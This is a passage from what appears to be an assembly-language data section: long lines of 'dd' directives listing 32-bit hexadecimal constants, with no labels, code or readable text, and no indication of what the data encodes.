0F3251D00h, 0E850AA83h, 34BC0080h, 0CF72B912h dd 4F007849h, 0C4BE6D8Ch, 1EBD42C9h, 240BDCh, 25F86CD3h dd 9DB8287Dh, 6E638E00h, 0EEE2B1C7h, 0E860115h, 2AA61B6Ch dd 0B2D9EC6Dh, 0C0DD2B01h, 682597A2h, 0DC5CD4h, 4EADFBCDh dd 0BE2CD48Dh, 72C62600h, 0EA9513DFh, 4F440B53h, 7DCC8Bh dd 4C6089C3h, 0D2FF1C70h, 52E080B0h, 22CE141Dh, 0D56FAA00h dd 426A0412h, 0A09E0575h dd 6B818701h, 0A1031404h, 0BA044620h, 14B5B180h, 0DC3007B3h dd 6012191Bh, 20A4600Fh, 37E1FAA1h, 0AA99930Fh, 0F01D0094h dd 0C386DD5Ch, 0A6402C30h, 7174890h, 0F40080F8h, 0B542AA6Fh dd 607761C0h, 1A884898h, 73007018h, 9DDFCBEh, 5C0453h dd 0C1A9550Dh, 0BD52E312h, 1BE7200h, 0B2740823h, 420A762h dd 330BEE92h, 81290EA8h, 3E20CCE1h, 0BF17EC61h, 0FC00B1E0h dd 0ACFE781Ah, 138AB2h, 0D4CF4827h, 7D1C9860h, 3480B656h dd 9004C818h, 0C3BFAD48h, 0F8D8F515h, 4D1D1DE1h, 63C3E762h dd 608540A7h, 959930F6h, 38C0928Eh, 13CF6027h, 8451CE88h dd 3F530090h, 36E6D7D8h, 74507B6h, 0D16C1239h, 0D2612A6Ah dd 855B7960h, 84B10F0Ch, 54723982h, 73BC873h, 7A4B2BAAh dd 0E8031093h, 61005B56h, 0BC1B0784h, 0C5E12Eh, 8A023A89h dd 6EB3834Eh, 5FE4FC0Dh, 7B31607Bh, 38AF608Ch, 2601FFA1h dd 30155791h, 0A561ADE4h, 0AA0040BDh, 54D4D699h, 0EAC26B47h dd 0A770AFBEh, 6AF0C094h, 1FADCE29h, 407F8F86h, 8045B732h dd 1F004ADCh, 0D8884CFFh, 6035A9CEh, 9A107027h, 4800845Bh dd 0F4245383h, 140D685Eh, 0F0CA1B8Bh, 49B06130h, 80A88319h dd 0DF00579Dh, 0F4F8061Dh, 34EC8ACh, 20F0D1E2h, 0AAC0BA2Bh dd 0B715E8ECh, 8A4DEA7h, 8889726h, 5C846BFCh, 61E76FDh dd 0E88AC84Ch, 741F99FCh, 29DE4B45h, 0D29380F9h, 0FF58B9D7h dd 0A0F8C077h, 0EB7BBDFAh, 1A18A873h, 0DA499AA2h, 162A004Eh dd 0A4551DBFh, 5472DBD6h, 24079C24h, 0B67E8741h, 3D003022h dd 7FB72D43h, 5B000E50h, 0E1779962h, 90B328C8h, 0A19303B4h dd 2CF49FF8h, 888060CAh, 7D9767FEh, 38C60AE6h, 5116AFh dd 0E8B3711Ah, 0B692892Fh, 0BC6E341Eh, 0E794F2C0h, 0C8ECC4h dd 0A936F599h, 0BEA2C6E4h, 0D8AEF600h, 9A699D82h, 0FA103C0h dd 0C7C57C37h, 3AF22000h, 17082E04h, 0FBEB4A6Dh, 4076FB80h dd 98A30038h, 0A8F28E60h, 70013B8h, 89D8A1CCh, 6C3D50Fh dd 47F51575h, 0B8247217h, 9103601Eh, 0F05AF0FCh, 38FE613h dd 0CF066245h, 2290AF23h, 8005207h, 0D0032D89h, 713DA2DAh dd 0C07C5Ah, 0F3A1FEDDh, 0DB8E02Fh, 54D8481Fh, 68E45F41h dd 0DAE4D6B6h, 1E833026h, 81B805D0h, 0E02E1F0Eh, 54B420FAh dd 0D7A960h, 62910A52h, 1ED21637h, 0A80CFD39h, 0BD03800Fh dd 9A25E25h, 0FEB900DCh, 8185097h, 1F00A1FAh, 9EC6A703h dd 3DDD60h, 378F3F2Eh, 6D5A6705h, 0FEDC1B03h, 0DF16FCh dd 0D9AB9041h, 0F4D17BD5h, 0EDD09400h, 78A9392Fh, 864B0023h dd 0A4B1B517h, 0A14A5ADEh, 0FB0AD4A8h, 6B852B8h, 0C9865BD2h dd 8DF6DFEh, 0E8C5F080h, 0A64B6813h, 0CD81890h, 562079A3h dd 0C659DC00h, 0E8C789F3h, 121E4BDh, 721BC33Eh, 0C9C282E1h dd 0F1232165h, 111C3095h, 563F60C5h, 94C180FFh, 73737A58h dd 381FA48h, 4960BCECh, 0CD44B81Bh, 0F39C0082h, 1A0ECE13h dd 0B250D037h, 630ADDCh, 0B02E88F0h, 48E7008Ch, 6C3B10D7h dd 0A6746B8Bh, 749DD400h, 786F385Bh, 949E0C0Eh, 1EE028ECh dd 85040349h, 46C421F3h, 0BDEF8406h, 2AF903A9h, 827EDE65h dd 0E7B64088h, 0FCEFA129h, 3DF39D00h, 1ECE0FAFh, 0C00AE13Ah dd 0EF018A95h, 0E53858BBh, 0A98130F3h, 7B465447h, 0FBCE024Eh dd 6BCB2226h, 0F3B8E881h, 4099A12Ch, 0FDA8E01h, 82D0895Fh dd 9BC640F7h, 0C09EAA20h, 233B3630h, 320ADC92h, 0D0DBEDA8h dd 7D90E83h, 0B0290110h, 0BF440FFDh, 0F348400Dh, 41001FD9h dd 0D88CF763h, 830952CBh, 0EE61EFB0h, 1E0A240h, 337949F3h dd 0F90E2AF1h, 5DA19EBCh, 7C052B40h, 0E92F509h, 5AE96F1Bh dd 4D72C5E0h, 3C0385F9h, 4F40FFEBh, 0B24B9933h, 6F9930h dd 7661F21Ch, 0E12704AFh, 302D7B00h, 5692F3EDh, 588E03A1h dd 0C41FF851h, 8C1E43C9h, 822AE31h, 0AA8B0E87h, 12013584h dd 0D8049BA9h, 421DB89Fh, 62C0F622h, 98BADC9Ah, 3B400F7h dd 65DA6BD8h, 75014044h, 7641F687h, 51800DEAh, 0BBB5E0B8h dd 0ED004BAFh, 178A81C1h, 0B96DA7h, 7A3D6305h, 13C70D7Fh dd 61404B60h, 589B6Ah, 0C4102A49h, 0F5D805ACh, 23470800h dd 1C4B245Eh, 7795305Fh, 0EC99230h, 0A03DC9DFh, 1F68F860h dd 0F7085Fh, 0AC58CE1Dh, 0C40C1173h, 310D6E3Fh, 0BD3C3F1Ah dd 30FB1639h, 27190F6Dh, 5F1C4F36h, 5EDC7345h, 6394BAC0h dd 0C083CA5Bh, 79908DB8h, 7760F50Dh, 4198C0F9h, 31FB01BAh dd 68EFA2F9h, 8564529Ah, 0B7040904h, 51BF055Dh, 0AEC06987h dd 54807631h, 60F59CDDh, 2A94E186h, 0C9006662h, 0DF218311h dd 6CDD3Fh, 294643ACh, 85514B7Fh, 0AA8CE902h, 8F630B1Ah dd 0C1FA0064h, 7F442Ah, 0F6DAE06Fh, 0DD68CBECh, 166D6B18h dd 0F51C429h, 7D301CBCh, 2892FBE0h, 0B11249BDh, 3431C560h dd 0A19614AEh, 328002Dh, 39B8FABBh, 498E51Ah, 0AED430E0h dd 9231C715h, 4EA970D9h, 0BA14D480h, 8660AA83h, 0FCF189F5h dd 0DE19004Eh, 4C9AFFDAh, 64066EE7h, 86FB648h, 3E4FE6B1h dd 0B48F747Ah, 95E07709h, 0FED779C0h, 0C424E02h, 806DDBC9h dd 339BB8F8h, 34774856h, 8BE2520Eh, 0DFC0B0B4h, 439A3B19h dd 0ED01BDFCh, 6D64B62Eh, 0FD17642h, 84816820h, 0EB1A6809h dd 4B82458h, 0C939B543h, 3CE7FBF0h, 275B8001h, 0ECDB6B5Ch dd 9D051E5h, 0B0850113h, 0EFE4F794h, 8D4BFCDCh, 0DF59C161h dd 8025C206h, 38458EF1h, 5883B461h, 0DBDA820h, 0CD73C3FAh dd 424AE431h, 7B4E2F1Dh, 39956BC0h, 2CAA8E4h, 0BDF856B1h dd 0DCE06CBFh, 99B8342Ah, 61DFAE30h, 48B57Eh, 64CF0189h dd 4A0AFA59h, 7DD0AA09h, 68C430B0h, 0B971C7CCh, 27A4206Bh dd 0F0EC07DBh, 170A14ECh, 8CF6C45Dh, 0E7001211h, 0AFCB5C0Eh dd 74039444h, 0F3C3A6ECh, 0DABDE85Eh, 0A4E0439h, 83357647h dd 0E00FA730h, 9D62816h, 74148A69h, 49E909E0h, 6D21C76h dd 0A0169471h, 2871138Fh, 0EC14D096h, 519C1D1Bh, 0E5918004h dd 9B2944EAh, 0F3901E4h, 0E70BEE97h, 0C4C13038h, 3FA06D09h dd 0F518189Ah, 1D149288h, 0C0D04658h, 0B04E83E9h, 0D82402B5h dd 0CF4724F4h, 55A0B347h, 1470200Ch, 0F8E717D0h, 93B88024h dd 3B44631Eh, 24C630C0h, 0F4C3660Ch, 0FB4C16Bh, 58A334A9h dd 0E117AE26h, 0F76CF80Eh, 0B0FA15Dh, 0C5FDC914h, 21684893h dd 30B0CA9Ch, 90075158h, 43B5E2F2h, 42E4ABA0h, 1F6830C5h dd 0F04F7629h, 8AC47100h, 38DB531Ch, 1440EE80h, 0C4478C99h dd 5BC2DF00h, 9FE7F87Fh, 0F88F448h, 0E0E5EAEBh, 6A51D806h dd 2F51C019h, 0FDE38FF1h, 62E7E60Eh, 98ABA0E0h, 0F89A9047h dd 9F290FCBh, 6D87E561h, 4B86C009h, 0B1D854Ch, 10C7B033h dd 1A3051CDh, 21B826h, 1DAAED48h, 6DF1B90Fh, 0E700B4ECh dd 6937FE8Ah, 0C0EDC798h, 54B91738h, 9C003C39h, 56048ABh dd 0CEE2E2Bh, 0E99D2609h, 68E03029h, 8A1A9300h, 24E23F85h dd 509C60F6h, 0B474AE98h, 10624830h, 0A0E33381h, 15C611Ch dd 840BBA93h, 80E16985h, 0D58E81B1h, 0CCE5401h, 0A3D24B23h dd 480FEA18h, 6E9567A9h, 0D5407EEFh, 93B08C0Ah, 40AD0041h dd 7ACD84E7h, 690C252Ch, 798D5FB4h, 0EA1320F8h, 0DA77E400h dd 0A633ECC5h, 0BC08104Dh, 8A8000B2h, 636C2B76h, 0B5190066h dd 0C691E489h, 8F001EB0h, 30F8BC24h, 0C08757E9h, 66A92F90h dd 25005384h, 0B6460E47h dd 7F59D0CCh, 0BE8D0C91h, 2379110Dh, 0BDC16104h, 0CE8392AAh dd 3CDBB030h, 6A6EA26h, 537A12AEh, 0DD00F8FEh, 8819EBBh dd 56B06CF9h, 200E86Fh, 5BA53EC6h, 0DF00BB05h, 51D20959h dd 80C85D3h, 8B1FB4DAh, 0A871181Eh, 88084ABh, 7AA461B0h dd 34055291h, 0F15123B7h, 0F5868400h, 0C78857B1h, 8A318128h dd 0B536BED4h, 6511920h, 7C1C5868h, 0C86F47F0h, 0B85DA1h dd 0EA421F1Bh, 3C298093h, 0AEA8459Dh, 0FB884F4h, 50B4D98Ah dd 908418E2h, 0EA00004Ch, 8552DB83h, 0A4DA3C1Bh, 0E19F3094h dd 91D25E99h, 4792D00h, 0FA3F4E70h, 7DD6093Bh, 488E0F7Ch dd 162753A1h, 735981C9h, 4DA9CB09h, 148ED6CCh, 749D31CCh dd 5C072C00h, 6A4EF64Ah, 34FD9714h, 0BB310490h, 288026D1h dd 24F81530h, 60945037h, 7EFEB37Fh, 0AA20B900h, 4604C463h dd 90AB57A8h, 123A7511h, 20405AE9h, 25D5CB58h, 13BA0554h dd 30704879h, 0B57161F4h, 0FD5C6800h, 0F0A20A02h, 0DCF9A043h dd 0FC89011Fh, 8D052AB1h, 0B0F453A8h, 408823EBh, 860091CEh dd 0B9CDF776h, 1F9E920Fh, 0C7B533E1h, 627BE785h, 0B4B49179h dd 5401AF2Ah, 18C60A00h, 2F7EAEB1h, 1DF301EEh, 0B3AA7AB7h dd 18D8243Bh, 8DA4800h, 0A2A6D860h, 0DC22EBE2h, 0A1B1AB18h dd 7B136333h, 0C000BBDBh, 78C1B698h, 0D3FA18E6h, 8A3488C4h dd 8250513Fh, 1626C03Fh, 8788A935h, 0B6470957h, 8133CA30h dd 6E7B0929h, 48983460h, 0C11DFB6Fh, 7344D84Ch, 0AB31E5F0h dd 6589808Ah, 0B67186BBh, 79A70021h, 7A022343h, 630072C0h dd 914F0AA1h, 289C3127h, 18955A89h, 418E0D3Ah, 81183E26h dd 0C71196A9h, 0B707006Ch, 0DCDEA38Eh, 5C00AEFAh, 681E8586h dd 6304275h, 9184E0E3h, 8A29D1CCh, 43008CA9h, 22604A75h dd 66470090h, 4A15253h, 0B8921C9Dh, 0F9BE3B04h, 0CD212FEh dd 54302068h, 0C7CBC0Dh, 0A4E757h, 950A6DD9h, 74962070h dd 416614C2h, 3A80ECE8h, 0AC2F0738h, 0E9E16705h, 9872EF7Eh dd 73F82397h, 0CA529DB0h, 1762B200h, 72570974h, 150E0946h dd 0F4B04789h, 984EAFFh, 31242F9Bh, 0B9E21421h, 0F40C25A7h dd 491D9FFEh, 0F98DD6h, 0C0A62B17h, 24E73F0h, 9CC55082h dd 0C0804A20h, 0C0751F7h, 495938h, 2617F5B2h, 0A6DE96h dd 608DA7CCh, 0FE2B725h, 27B85050h, 70FAB526h, 7A912600h dd 736D1ECh, 30A20BA1h, 94CD278Ah, 0D81FC08Eh, 1400E217h dd 0F9CC8167h, 1353AF28h, 203CF585h, 0B1B48C80h, 89A8D71h dd 30372045h, 2B8A3180h, 272ADBB4h, 47008428h, 537851EDh dd 3E3A771Fh, 0F7E07ACh, 6CD10684h, 30247596h, 57BDBA14h dd 0DD675107h, 12E7182h, 10FEBEAAh, 15908A08h, 53CD0880h dd 755320E2h, 78AB18D0h, 5A3921h, 0BED460F0h, 0C1211211h dd 0AE585490h, 74A1C38Ch, 6CC0A5F7h, 0F786B89h, 60328283h dd 599FFFA2h, 5BEE090h, 6979EF63h, 0A826D102h, 0AF003076h dd 33011699h, 409BE512h, 20200B16h, 1D31176h, 0D4D14063h dd 262BB461h, 9E7839C4h, 31B008D5h, 0CEB83h, 4505BFA9h dd 49126EB3h, 69F57500h, 3E774EAEh, 98C448F9h, 9853E584h dd 9801F22Ch, 0FD12BF1Dh, 1C260CC9h, 20748513h, 0AB318ADCh dd 0E8D12Eh, 1C29D740h, 0B07E5735h, 43A19816h, 3619A3E8h dd 0DE214105h, 95807E05h, 780D1713h, 0E94D24EEh, 383F4630h dd 32956B09h, 70F42438h, 8DE81843h, 0E293Ch, 0BD5C45E0h dd 586B7C49h, 3C571D55h, 27823E00h, 0C05BCE96h, 353AA70Ah dd 0A4A6FC89h, 0EBA85860h, 60F0ED9h, 0E2C0F0B7h, 944B10A4h dd 870F326h, 918650C1h, 0F0D100D3h, 0BB8F0439h, 0DF0A2747h dd 842699A6h, 0EB9484C9h, 84AFC740h, 90087C0h, 95DA0616h dd 124AE3BDh, 13B65099h, 303407ACh, 63E8E249h, 9C8524C0h dd 0E971DE62h, 3C80A0BEh, 4D6E47h, 502F6560h, 0D8A49CABh dd 3067F600h, 6F26F03Fh, 9D86312Ch, 0E085B088h, 0BC99B374h dd 261E7F11h, 0BE8E40B5h, 465F69Bh, 2963F234h, 0B0057CC0h dd 0B45948F4h, 5DC7B049h, 93F028Ah, 30EA4444h, 96F0FF00h dd 0F9D4D6FBh, 5FC30304h, 0B6AD64A9h, 0E1880895h, 167EF080h dd 71DE57BFh, 9BA4006Fh, 0D5F9EE32h, 88026A2Eh, 0BE311F6Bh dd 44944EE4h, 2902AE35h, 0BDB1BBE2h, 5CAC5231h, 1783780Bh dd 0D09F143Eh, 51556CEAh, 0CF6C3F4Ch, 9EE063E4h, 0B9391CE2h dd 8FBD80E5h, 0BC51A627h, 1BAD8100h, 0FDDC0B04h, 0F429499Fh dd 93C0204Ch, 629D50EFh, 66E4C01Ch, 880B97CAh, 0A4C74744h dd 0D0FB46B0h, 7AE008Bh, 0BB2A65BAh, 422BF65Dh, 0DA80A8E9h dd 47A7FF75h, 8BA02407h, 0E0690838h, 0F528E280h, 123FA8D1h dd 322512A9h, 94C49F4Ch, 67DD0801h, 824BE0C9h, 9FCFB429h dd 5BE9F198h, 0B5DC8300h, 56E80C1Dh, 0D06901D9h, 74F70521h dd 25904042h, 3801873Eh, 3180D3FEh, 41D2BB9Eh, 0B11D4CCh dd 74A180CBh, 0CF9013D3h, 7C2B4D51h, 3987585h, 217E023Ch dd 6B804B8Bh, 0A500D7F4h, 9228B70Eh, 1C3C933h, 983E0952h dd 49A19B2Ah, 3332E974h, 0DB8D0284h, 44B2E2B5h, 6CAB488Ch dd 1BF5AA80h, 53027D95h, 304FEB92h, 0C99C6979h, 3643C010h dd 2EFAA400h, 0BFE695Fh, 6C4050F9h, 0F1228830h, 0C800AEE4h dd 0F55AEF77h, 1810363h, 0D15DF93Dh, 229FB701h, 0AAD40040h dd 32221317h, 60BE015Ch, 508C4BAh, 34F8580Bh, 7C0D3318h dd 79E226B1h, 0EDDF0057h, 0E61F5084h, 0A2114656h, 8E01DE08h dd 3353D3DCh, 7CB9D4EAh, 27F07E00h, 828F07CAh, 0F12313FBh dd 41E00506h, 26F801CEh, 0E6923E0Dh, 0E49A4C6Ch, 80BCE84Ch dd 3D5EAA8Bh, 68A13F08h, 6116416h, 0A17EABECh, 8EB1FE09h dd 16F907F4h, 208CCBF5h, 94A85CF1h, 0F9A06880h, 1B00B6EFh dd 9AC0CD8Bh, 14E164Ah, 79235896h, 0C53F8588h, 7BEC60B7h dd 26BEE288h, 127E524h, 0A1070B81h, 0DE842C80h, 7843D95h dd 841ABD54h, 0C0E8A900h, 0B58D07BCh, 9BEF4DAh, 3330B890h dd 18BD390Bh, 2E68A080h, 1EE9F436h, 87F24A53h, 0B00470F1h dd 147ED83h, 0F4124B01h, 0F3C8C1D8h, 19542087h, 0F68AE024h dd 1750C6EEh, 3DE6F2A5h, 0CC1C4E1Ch, 0B1BFBC00h, 60D965F5h dd 63115854h, 0F330BA43h, 0A286931h, 0C3AD0091h, 796A9960h dd 7F01411Ah, 0B7DB93B8h, 6083EC9Ah, 0F0E57363h, 4DE9480Ch dd 6344157h, 2D476991h, 0C8FA28CFh, 0AF7FA1C0h, 3DF3A5h dd 91D66A50h, 9384FAD1h, 35F5770Fh, 0BA448049h, 35C1E2FBh dd 1F39D3B9h, 6155188Ah, 19C0F64Dh, 6B6EA6C9h, 0A9865874h dd 1DAB5450h, 809E50D6h, 0BB590481h, 8CAC9127h, 63F3070Ah dd 0F99C80FBh, 0C18B2A80h, 0E244938Ah, 0AD700CEEh, 4A7163F4h dd 5034A000h, 0EB206B74h, 40BA588Eh, 41C60E00h, 1862987Ch dd 9B2B4028h, 3C9FA00h, 0E94ACAF3h, 0F2A8C0D0h, 0B7F8C344h dd 0D411AB0Fh, 0BC67E003h, 141C3A42h, 0F8A547B1h, 4A394584h dd 0FD43EC4Dh, 7A9FB033h, 0EB60083h, 0B124C732h, 0CA03160Dh dd 0F4BE2373h, 1839006Fh, 403B896Bh, 1600EF17h, 1CF8AA5Eh dd 0C5CD4763h, 2041E991h, 659135A8h, 6328B1FCh, 0F744D8F4h dd 45D50037h, 7D802C1Bh, 9A3C98E0h, 6BC51CE2h, 0AFC04D9Fh dd 0AC4FD487h, 0CCC0C01Fh, 0DF84C8CAh, 0BE1540C2h, 2C44E9h dd 4A0625D0h, 9B6C28C7h, 0F55B780Fh, 0AD93A097h, 0E7F2A0Fh dd 468A1B0Ch, 0A250D78Ch dd 41C06DE4h, 8027F89h, 3D7700E3h, 0FC6B7925h, 1A1CBBFFh dd 297148DBh, 0C1BC4A63h, 0C853D83Ch, 0C44C0E24h, 0C1A88089h dd 31C2F8E3h, 48199E92h, 80B6E444h, 59C062F3h, 0F7152E4Ch dd 460F0753h, 60A663C8h, 232CF498h, 0A803091h, 0BAF24E92h dd 0A4760166h, 0C2336A2Ah, 0BEDBC0EBh, 0EA542E54h, 49C3F040h dd 9D0048D3h, 25EE0AFCh, 0B400D54Eh, 105E546h, 24E03BEBh dd 0E218F7E2h, 0D12C4ABFh, 113E60F3h, 0EA08A6BCh, 0FD8D1D02h dd 8204B319h, 1600DF4h, 0F84D9434h, 0AC05B717h, 0E133BE87h dd 0C0B49400h, 77265469h, 74601BD9h, 7AA1A9E9h, 7E60424Bh dd 0D94C2844h, 0F47DC10Ch, 0D193C85Fh, 0AD080011h, 968CBE40h dd 0CCC4CB51h, 0E2554281h, 0FFB3F9BCh, 0BF3BAAD8h, 0EC0A7A03h dd 0D0DA063Eh, 2A4AAD87h, 90C82050h, 1D88678h, 342AA377h dd 422EBB51h, 9C460690h, 9D3B8C01h, 0AAD1D02Fh, 128A2D0h dd 6ED7145Bh, 0EC6ACDA5h, 160C9B9Dh, 0D93846DBh, 0DAE93034h dd 5B9524F1h, 1600E4E6h, 0DEC768CBh, 0E4DD5727h, 0F80F499Ch dd 0C1D692C1h, 28A022D5h, 0BD0024EAh, 3F7DC941h, 3B9033D8h dd 5200805Dh, 0AEB21AE7h, 0BE4CCAACh, 0DCE9866Ch, 133A0039h dd 0C2E703C8h, 0E00EF99h, 0E33FCB7Bh, 0F701BF69h, 2E92AC58h dd 3A0ED4Dh, 712A0609h, 916B361Eh, 0A4E6809Dh, 957AB900h dd 9209F615h, 8060E4FCh, 0F2887063h, 88649D4h, 45880892h dd 0FF253481h, 0E2CC0D48h, 729F006Bh, 7FB90828h, 948BF56h dd 76F2002Ch, 0AB69AD32h, 5C280CA3h, 0D61E142h, 8FAEC600h dd 5AD0566Ah, 1B362622h, 4CB302CAh, 284CD1D2h, 18F0EA90h dd 41FF4D30h, 0F295D0h, 1B4ED610h, 96ED6CCAh, 507D2A04h dd 4813F14h, 1908BEC1h, 0C8443892h, 0F7F200DDh, 0A458D7EAh dd 927B5D5Fh, 6EE0BE04h, 8C4AE3h, 816F0057h, 419A4D59h dd 793B6E9Dh, 64220938h, 0BD3C3B05h, 20C62C82h, 0F7EA3242h dd 988349C0h, 1C966C4h, 887FD058h, 87E04C2Fh, 8C451D91h dd 0A80B4843h, 3AC1CA6h, 0CA6C6DEEh, 0FE0108Dh, 9300D215h dd 0D0182E46h, 1373F87Bh, 4E23C56h, 8CBFD304h, 6830F304h dd 0EFCA89E3h, 1869DDE9h, 2F3391DBh, 0F01DC00h, 8F473138h dd 5BDF0B11h, 28002017h, 0D4BE53E6h, 13E788A4h, 0B17290D2h dd 0D46F4C32h, 48203EA2h, 0FD729Ah, 539844Ch, 0E044F799h dd 0BB119E7Ch, 171F38F3h, 0FC80BCB1h, 55C1F614h, 78007553h dd 4E42BEB5h, 5CB389D0h, 0C16234E2h, 0E86CD3F2h, 0C1684CE6h dd 0AE8040E9h, 0BD301199h, 0CDDD04A3h, 0CC688DFFh, 590134FCh dd 0AE237F2Bh, 0B07349EAh, 949224h, 0ACE7135h, 0B40F6408h dd 820E341Ch, 419272B9h, 7D106998h, 34FB1878h, 6302F0CCh dd 54FC6845h, 1B7D30F2h, 684240B9h, 0DCF427E4h, 5F006D29h dd 5B38DC2Eh, 0E12D23h, 291C9AEDh, 1ADF2651h, 69994A00h dd 0FE0B14D2h, 0C04588Eh, 0E3CAC1C2h, 0B13F98E6h, 7CDC527Bh dd 502CB000h, 93EEC3A8h, 19D463C5h, 32A8588Ch, 740B2A7Bh dd 1AE17508h, 84A06030h, 95F8C41Ah, 31630B62h, 4C0C5308h dd 0C82630BBh, 182C4E72h, 89CBC4BBh, 1400B868h, 0A77DDA19h dd 0A1B0FDh, 0E555015h, 0D54A035Ah, 0C9C69418h, 0E7FB31h dd 0D877ABE3h, 0A2715715h, 0D567E0E1h, 0F035041Ch, 1A526A80h dd 0E3C53DE5h, 0E6573981h, 0F0E78CD0h, 0D80BC3A0h, 0B9CF4094h dd 0E19EEFDCh, 8D2B4087h, 0AB76975Bh, 0C833Ch, 0AA08F575h dd 53B06DCAh, 0C32898B6h, 0B7D70050h, 6D75E15Bh, 0A4A2F8ECh dd 17FB8C61h, 1147ED91h, 0D405E428h, 50D3C64Dh, 7C7EA08Ch dd 723480D0h, 0D4641E05h, 90DC7D14h, 0CCF90F91h, 0AA814AC7h dd 31B8CB0Fh, 0FBC769Ch, 0C45724h, 6027F0CFh, 18864DD5h dd 41C869C4h, 0AD24EF11h, 4E01CC28h, 5FF5BEE9h, 7C2181D2h dd 0BF8C6DB5h, 5AE93D8h, 7732EF67h, 949CD183h, 0E11003BAh dd 2C76AD1Ah, 68D91D76h, 4B66899Ah, 7AEB40Ah, 0A345FED7h dd 0B102F9E0h, 35EB19F3h, 7CED03h, 15D411ACh, 633D1CA4h dd 5C1BA643h, 3010D510h, 88704A5Dh, 0A3DA4DF3h, 0C0C8B474h dd 1D3C000Ch, 6E4077FCh, 390051ACh, 43C6E494h, 75AAA169h dd 24E209E8h, 2C03CA0Ah, 0C09C59EDh, 0F21D480Ch, 9C2048D7h dd 8C9CDCh, 77FD171Ch, 0BEC6D788h, 0B2861200h, 214D91Fh dd 0E0704CBAh, 6D44E9C2h, 0DF44ACE6h, 7C1C53ACh, 32D58400h dd 8BE280E5h, 0EAD441F1h, 0C25824DDh, 0C4D2E300h, 934E27FEh dd 1414987Fh, 0EBAF14D1h, 85476409h, 0D249E410h, 4A7A2284h dd 0B26C894Ch, 3FC3218Eh, 0B7850057h, 12442864h, 0B40407A6h dd 0A5204A6Eh, 0D8C9834h, 8CFE4D2Ah, 94803493h, 0CB8E5552h dd 0A9DE3B6Ch, 4DEA7F05h, 0E5C4CC2Eh, 4835388h, 0AD598845h dd 9284FB6Bh, 145660A2h, 0F1ECC11Eh, 6251F371h, 351117C8h dd 79681020h, 7A6D007Ch, 92107663h, 0A13D61AAh, 1A8F80E8h dd 0E0EFF516h, 7646012Ch, 80D69386h, 4375DCBDh, 0FB196D00h dd 0BE95FA0h, 7C4F3121h, 0D88B5648h, 0C73D6D30h, 616930B0h dd 0CDB6A8h, 603461C5h, 0BC896F72h, 0BB07B8EEh, 3F542579h dd 1B4AA203h, 51F96D31h, 7BFF6BC0h, 7FCC4D06h, 1D19474Fh dd 40421CD7h, 8D979217h, 0EF0F6ACDh, 0B85D9136h, 482E6338h dd 1D027F5Ah, 226CDB8h, 0B0718840h, 15EA45Ch, 671A3621h dd 0C3F237D6h, 0C7390039h, 0A8CD7275h, 8A002E48h, 3826EFFCh dd 0ECC2A3h, 91344C24h, 572FA081h, 0FC6D48C1h, 40B87769h dd 0C954F418h, 46188C72h, 83116C7Ch, 37A900F0h, 0DAF17488h dd 7300B71Dh, 0FC9B0DE4h, 0A0EA7BA0h, 14BD7EA8h, 0D428B4E9h dd 0E37FE200h, 62D8C543h, 0BF80C400h, 4CDCCA4h, 0D35D0A37h dd 808C464Fh, 0EA59DE69h, 9E00105Ch, 0ED5D723Ah, 2A998CACh dd 0F9FC4504h, 0D2DAD010h, 9FA43Ch, 0FA29F555h, 3CC07FB1h dd 0F86A44h, 8864479Ah, 39DBF7C6h, 7D6F40C1h, 98485DABh dd 0B8020F54h, 78A04F32h, 4CD5059Dh, 0C5A66600h, 0EFCB2B7Ch dd 55D04CFFh, 285A3078h, 4C16E839h, 2158D100h, 0E2D824AEh dd 4BE152Eh, 36C280F0h, 0B0A00D61h, 0C580E4D5h, 177D5A00h dd 6407FD12h, 2AF6377Bh, 43C06A59h, 0D08715C0h, 0FEC23B4Dh dd 53A66505h, 88607FA2h, 19FFB37Bh, 0A033393Ch, 0AF83101Bh dd 0F79B0F95h, 72CBB61h, 48F173F8h, 0FA0036E8h, 0D73555DEh dd 7F348C47h, 0C4530FC1h, 15E7973h, 0EC264BC7h, 7BD0517Eh dd 6140FBF5h, 0F48841DCh, 2F7900E3h, 96B25DAh, 0A012BCB5h dd 30016E94h, 24FA7B2Dh, 20627042h, 0BFFF3BD1h, 0BAF81500h dd 48CAC4A7h, 0A0CF00A3h, 8FC53086h, 7891AF63h, 98E47F15h dd 0CCCBA0h, 0C582E924h, 0E31B8675h, 8A07667Dh, 0A8DAD25Ah dd 90B89BC0h, 540C0AF5h, 44E08D7Bh, 0D0FC8CD6h, 42113300h dd 94D3302Ah, 10A33BFEh, 28C07C19h, 1E91106Fh, 865E00A5h dd 92C77E2Ah, 0FE00AB6Dh, 0DDFDF73Ah, 30132C20h, 6E31444Fh dd 9F0028ADh, 0F530CEEBh, 0F161484h, 0D3394B12h, 89717A40h dd 0E2317C7Fh, 0C025991Ah, 74613841h, 3C551C24h, 0CE0F64E3h dd 1AC08BBFh, 6C3BC937h, 16577D13h, 0C6610C73h, 0A8311339h dd 7C2E0024h, 0B0BB4E40h, 909FE700h, 15CBE01Ah, 42093D4h dd 697BC3h, 32748576h, 798E00D0h, 801FBEF9h, 33447E52h dd 1B4B161Ch, 0D23F00CEh, 0FB64A534h, 7C7E1E09h, 0D81410FCh dd 3E917437h, 20688866h dd 193640C0h, 0B126B3E4h, 4F11C81Ah, 7262307Ch, 37F433C1h dd 0DCDA871Ch, 6CD8D700h, 0E23896ACh, 3F2600BCh, 0D9314875h dd 1A24A6A9h, 0F3613CBAh, 6850331Bh, 0E819CB4h, 0BA7E4A24h dd 1DA44661h, 597420CCh, 0FA6DD31Ch, 0EE5A7933h, 0D1FF00A9h dd 0CDA7BE5Dh, 0DB79EEACh, 6FBB4401h, 22FC7B36h, 8BF6298Eh dd 4351E3C2h, 4F2AD46Eh, 3C1DE87Bh, 803BDA8Ah, 4BA75C0Ch dd 0AE46F17h, 0B04DF8A0h, 856A65C4h, 1B0C085Ch, 0D234D681h dd 0F830E5FBh, 4C6E4CC3h, 78A35410h, 6BC8009h, 0CE603852h dd 5FD52225h, 295B1A18h, 0D1AD51h, 0E48C26C7h, 463E91A4h dd 905B6524h, 0EA4B4740h, 0B5750041h, 71118CD6h, 70F3001h dd 185B1BD0h, 776529h, 8EAE4983h, 25D7A14Bh, 58342E00h dd 0C8D90E0h, 0DCF01C78h, 0D284C09Bh, 7AF36DD7h, 0A20838B1h dd 0C639BE57h, 38019CD9h, 807B37D5h, 6E698174h, 0D53CE7Dh dd 0F3C3D880h, 0D60CD7A9h, 4DFCCD05h, 6C8A370Eh, 7AF9F831h dd 8103166h, 85008D5Ch, 9945870Eh, 3EE816BEh, 0BC5A3097h dd 0EC35001Ch, 